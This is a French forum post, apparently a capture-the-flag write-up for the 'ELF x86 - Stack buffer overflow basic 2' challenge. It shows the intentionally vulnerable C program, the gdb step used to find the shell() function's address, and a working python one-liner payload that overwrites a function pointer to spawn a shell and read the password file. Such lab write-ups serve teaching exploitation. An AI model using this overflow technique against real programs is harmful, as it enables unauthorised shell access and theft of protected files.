🔒 Mot de passe requis


Aller au contenu

ELF x86 - Stack buffer overflow basic 2

Code Source

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
void shell() {
    setreuid(geteuid(), geteuid());
    system("/bin/bash");
}
 
void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
 
void main()
{
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}

J’ai étudier les solutions proposé mais il est difficile pour moi de les comprendre.

En ce qui me concerne :

gdb ./ch15
info func

je regarde l’adresse de la function shell a la ligne :

0x08048516 shell

puis je balance mon appel en prenant soin de respecter le sens de chargement de la mémoire soit

((python -c "print 'A'*128+'\x16\x85\x04\x08'") ; cat)  | ./ch15

et on est dans le shell

cat passwd